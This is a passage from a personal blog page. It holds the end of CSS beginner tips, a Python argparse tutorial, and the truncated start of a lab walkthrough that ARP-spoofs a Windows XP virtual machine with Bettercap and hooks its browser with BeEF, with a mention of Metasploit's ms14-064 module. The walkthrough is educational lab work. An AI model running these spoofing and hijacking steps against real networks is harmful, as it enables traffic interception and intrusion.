class="kc">white</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border</span><span class="p">:</span> <span class="kc">solid</span> <span class="mi">1</span><span class="kt">px</span> <span class="kc">black</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="remove-default-padding-and-margin">Remove default padding and margin</h3> <p>Many beginners do not develop the habit of resetting default padding and margin in CSS when they start coding, which leads to difficulty in styling as they progress.</p> <p>In fact, it&rsquo;s quite simple:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">*</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">margin</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><code>*</code> is a regular wildcard character in CSS, and it has the lowest priority among all selectors. Setting its <code>margin</code> and <code>padding</code> properties to <code>0</code> before everything else can eliminate the default padding and margin for all elements before they are selected by a specific selector. This makes it much easier to make more accurate adjustments to element spacing later on.</p> <p>If you&rsquo;re still not sure whether or not to include it, try it out and see the difference for yourself.</p> <h3 id="inappropriate-naming-when-using-class-selectors-and-id-selectors">Inappropriate naming when using class selectors and ID selectors</h3> <p>This is also a big problem that greatly affects the readability and maintainability of the code.</p> <p>I often see something like this:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">a1</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">a2</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">b1</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">#</span><span class="nn">b2</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>It&rsquo;s hard to know what element it actually selects, which increases workload&hellip;</p> <p>Because at first glance, it&rsquo;s unclear what it refers to.</p> <p>Also, using Chinese characters for naming, although I used to like to do this when I was in middle school, this habit is not good because if there are some server encoding issues, the style files may not be loaded properly.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">h1</span><span class="p">.</span><span class="nc">中央标题</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">text-align</span><span class="p">:</span><span class="kc">center</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">22</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="nt">h1</span><span class="p">.</span><span class="nc">一级标题</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">22</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="nt">h2</span><span class="p">.</span><span class="nc">二级标题</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="nt">h2</span><span class="p">.</span><span class="nc">三级标题</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">18</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="nt">h2</span><span class="p">.</span><span class="nc">四级标题</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">16</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="nt">p</span><span class="p">.</span><span class="nc">普通文字</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">text-indent</span><span class="p">:</span><span class="mi">25</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span><span class="mi">15</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-align</span><span class="p">:</span><span class="kc">justify</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>But some people even use numbers!</p> <p>And then they ask me why the style is not displaying properly!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">1</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">red</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>Numbers or names that start with numbers cannot be used as class selector names and IDs in CSS. Similarly, in many programming languages, it is not allowed to name variables using numbers or names that begin with numbers.</p> <p>To avoid this problem, naming conventions such as camelCase and <code>_</code> concatenation can be used.</p> <ul> <li>Upper camel case refers to two words combined, with the first letter of each word capitalized, such as <code>TopHead</code>.</li> <li>Lower camel case refers to two words combined, with only the first letter of the second word capitalized, such as <code>contentPlace</code>.</li> </ul> <p>For naming conventions with more than two words, the <code>_</code> character is needed to combine them, such as <code>the_menu_bar</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">TopHead</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">1000</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">300</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">contentPlace</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">1000</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">the_menu_bar</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>This significantly improves readability so that one can generally tell at a glance which element corresponds to which, without having to spend time searching through the code.</p> <h1 id="end">End</h1> <p>The above are just my personal opinions and methods for addressing some of the small issues that beginner learners may encounter when studying HTML and CSS.</p> <p>There may be other problems that I haven&rsquo;t discovered yet&hellip;</p> <p>Feel free to leave a comment below to share your thoughts and feedback.</p>

2022/11/17
阅读更多

Python Learning Notes - ArgParse

<div class="featured-image"> <img src="/img/2021-05-16-18-25-46%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> <p>In order to make <a href="https://github.com/WeepingDogel/TitleGetter" target="_blank" rel="noopener noreffer ">TitleGetter</a> more flexible, I plan to let users customize <code>list.txt</code> and the output file. Therefore, this requires the use of command line options&hellip; just like some software we commonly use, such as <code>pacman</code>.</p> <p></p> <p>So I googled it and learned about <a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">ArgParse</a>.</p> <blockquote> <p>The argparse module makes it easy to write user-friendly command-line interfaces. The program defines what arguments it requires, and argparse will figure out how to parse those out of sys.argv. The argparse module also automatically generates help and usage messages and issues errors when users give the program invalid arguments.</p> <p>From: <a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">argparse â Parser for command-line options, arguments and sub-commands — Python 3.9.5 documentation</a></p> </blockquote> <p>Then I tried typing a file&hellip;</p> <p>The result of running it looks like this:</p> <p></p> <p>So let&rsquo;s organize some related notes&hellip;</p> <h1 id="creating-parser--adding-options">Creating Parser &amp;&amp; Adding Options</h1> <p>Before everything starts, we need to use the <code>ArgumentParser</code> usage in the <code>argparse</code> library to create a variable named <code>parser</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>There is a parameter <code>description=''</code> here, which is used for writing some explanations&hellip;</p> <p>For example, we wrote:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">&#39;Welcome&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>By the way, we need to write down some necessary options~</p> <p><code>parser.add_argument()</code> can be used here.</p> <p>We need to add some things inside, such as the usage format of options like <code>-a</code> and <code>--about</code>.</p> <p>Finally, add <code>args = parser.parse_args()</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">&#39;Welcome&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-a&#39;</span><span class="p">,</span><span class="s1">&#39;--about&#39;</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">&#39;Show the about&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span> </span></span></code></pre></td></tr></table> </div> </div><p>At this point, we can add <code>-h</code> to see the effect.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ python a.py -h </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">usage: a.py [-h] [-a ABOUT] </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Welcome </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">optional arguments: </span></span><span class="line"><span class="cl"> -h, --help show this help message and exit </span></span><span class="line"><span class="cl"> -a ABOUT, --about ABOUT </span></span><span class="line"><span class="cl"> Show the about </span></span></code></pre></td></tr></table> </div> </div><p>Then let&rsquo;s organize a few commonly used parameters.</p> <ol> <li><code>default</code> * The default value when no parameters are set. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-a&#39;</span><span class="p">,</span><span class="s1">&#39;--about&#39;</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">&#39;Show the about&#39;</span><span class="p">,</span> <span class="n">defualt</span><span class="o">=</span><span class="s1">&#39;text.txt&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><ul> <li>If the user does not set this parameter, a default one will be provided automatically.</li> </ul> </li> <li><code>help</code> <ul> <li>Add explanatory text to the corresponding option.</li> </ul> </li> <li>required <ul> <li>Used to determine whether this parameter must be set.</li> <li>If <code>required=True</code> is set, an error will be reported if this parameter is not set at runtime.</li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-a&#39;</span><span class="p">,</span><span class="s1">&#39;--about&#39;</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">$ python a.py </span></span><span class="line"><span class="cl">usage: a.py [-h] -a ABOUT </span></span><span class="line"><span class="cl">a.py: error: the following arguments are required: -a/--about </span></span></code></pre></td></tr></table> </div> </div></li> </ol> <h1 id="calling-the-obtained-option-parameters">Calling the Obtained Option Parameters</h1> <p>Next, we need to use the obtained parameters.</p> <p>We know that when something is written after an option on the command line, the program will get it as a string by default. Then we have to use this to do what we want.</p> <p>I wrote a simple script that can write the contents of one file to another file.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span> </span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;&#39;&#39; </span></span></span><span class="line"><span class="cl"><span class="s1">By WeepingDogel </span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">GetParser</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">&#39;Help&#39;</span><span class="p">,</span> <span class="n">epilog</span><span class="o">=</span><span class="s1">&#39;A new testing program.&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-o&#39;</span><span class="p">,</span><span class="s1">&#39;--output&#39;</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">&#39;Output file&#39;</span><span class="p">,</span><span class="n">default</span><span class="o">=</span><span class="s1">&#39;test.txt&#39;</span> <span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-r&#39;</span><span class="p">,</span><span class="s1">&#39;--read&#39;</span><span class="p">,</span><span class="n">help</span><span class="o">=</span><span class="s1">&#39;read a file&#39;</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">parser</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">Write</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">filename</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span><span class="s2">&#34;a&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="n">filename</span> <span class="o">+</span> <span class="s1">&#39; has been written&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">Read</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">text</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">text</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">Main</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">parser</span> <span class="o">=</span> <span class="n">GetParser</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">Write</span><span class="p">(</span><span class="n">Read</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">read</span><span class="p">),</span><span class="n">args</span><span class="o">.</span><span class="n">output</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">Main</span><span class="p">()</span> </span></span></code></pre></td></tr></table> </div> </div><p>It is easy to see that what we obtain will go into the variable <code>args</code>, because <strong>it is assigned from the content returned by the function <code>parser.parse_args()</code>. To get the corresponding value of an option parameter, you can access it using <code>args.option_name</code>.</strong></p> <p>For example, if we want to get the written file name:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ vim b.py </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">&#39;Help&#39;</span><span class="p">,</span> <span class="n">epilog</span><span class="o">=</span><span class="s1">&#39;A new testing program.&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;-o&#39;</span><span class="p">,</span><span class="s1">&#39;--output&#39;</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">&#39;Output file&#39;</span><span class="p">,</span><span class="n">default</span><span class="o">=</span><span class="s1">&#39;test.txt&#39;</span> <span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="n">args</span><span class="o">.</span><span class="n">output</span> </span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;The filename is &#34;</span><span class="o">+</span> <span class="n">filename</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">$ python b.py -o WeepingDogel </span></span><span class="line"><span class="cl">The filename is WeepingDogel </span></span></code></pre></td></tr></table> </div> </div><p>As you can see, we have obtained the string &ldquo;WeepingDogel&rdquo;.</p> <p>Similarly, the file name to be read is the same:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">args</span><span class="o">.</span><span class="n">read</span> </span></span></code></pre></td></tr></table> </div> </div><p>That&rsquo;s all you need to do ~</p> <p>Next, let&rsquo;s take a screenshot of the effect of the above code: </p> <p>Creating and using it is that simple&hellip;</p> <p>Of course, there are more usages to explore&hellip;</p> <h1 id="conclusion">Conclusion</h1> <p>So what I&rsquo;m going to do next is to update these into <a href="https://github.com/WeepingDogel/TitleGetter" target="_blank" rel="noopener noreffer ">TitleGetter</a> 啦!</p> <p>There is no need to set the location of <code>list.txt</code> in the configuration file anymore! The output file position does not need to be fixed either!!</p> <hr> <h1 id="reference-links">Reference links</h1> <ul> <li><a href="https://vra.github.io/2017/12/02/argparse-usage/" target="_blank" rel="noopener noreffer ">argparse简要用法总结 | Yunfeng&rsquo;s Simple Blog</a></li> <li><a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">argparse â Parser for command-line options, arguments and sub-commands — Python 3.9.5 documentation</a></li> </ul>

2021/5/16
阅读更多

LAN Penetration Testing with Beef, Bettercap, and Other Tools

<div class="featured-image"> <img src="/img/2021-02-02_13-51.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> <p>Well&hellip; Let&rsquo;s start with some rambling as usual&hellip;</p> <p>Today, I tried using Beef and Bettercap together and found them to be quite effective~</p> <p>Also, if you are using Internet Explorer (IE), you can use Beef in conjunction with the ms14-064 module in Metasploit to gain system privileges~</p> <p>Without further ado, let&rsquo;s get started~</p> <h3 id="testing-environment">Testing Environment</h3> <p>First, let&rsquo;s talk about the testing environment.</p> <ul> <li> <p>Attacker machine</p> <ul> <li>Arch Linux</li> <li>192.168.101.15</li> </ul> </li> <li> <p>Target machine</p> <ul> <li>Windows XP on VirtualBox</li> <li>192.168.101.43</li> </ul> </li> </ul> <p>Due to limited resources, we can only use Windows XP for this demonstration~</p> <h3 id="tools-used">Tools Used</h3> <ol> <li>Bettercap <ul> <li>First and foremost, Bettercap~ It is used for ARP spoofing, DNS hijacking, and network interruption attacks, which are all part of man-in-the-middle attacks&hellip;</li> </ul> </li> <li>Beef <ul> <li>Used for browser hijacking&hellip; and it can do many things, but I don&rsquo;t know the specifics.</li> </ul> </li> <li>Metasploit (msf) <ul> <li>Our old friend~</li> </ul> </li> </ol> <h2 id="testing-process">Testing Process</h2> <p>First, let&rsquo;s open <code>bettercap</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ sudo bettercap </span></span></code></pre></td></tr></table> </div> </div><p>Then we will see the following output..</p> <p></p> <p><strong>Note: You need to use sudo here because it requires root privileges to access network hardware such as network cards. If you don&rsquo;t use sudo, you will see a prompt like this.</strong></p> <p></p> <p>Next, set the target for ARP spoofing:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">set arp.spoof.targets 192.168.101.43 </span></span></code></pre></td></tr></table> </div> </div><p><strong>Here, the targets are set to the IP address of the target machine.</strong></p> <p>Next, start Beef, and remember to use <code>sudo</code> as mentioned earlier.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ sudo beef </span></span></code></pre></td></tr></table> </div> </div><p>The output should be like this:</p> <p></p> <p>Now, let&rsquo;s talk about the links displayed in the terminal:</p> <ul> <li>Hook URL: <a 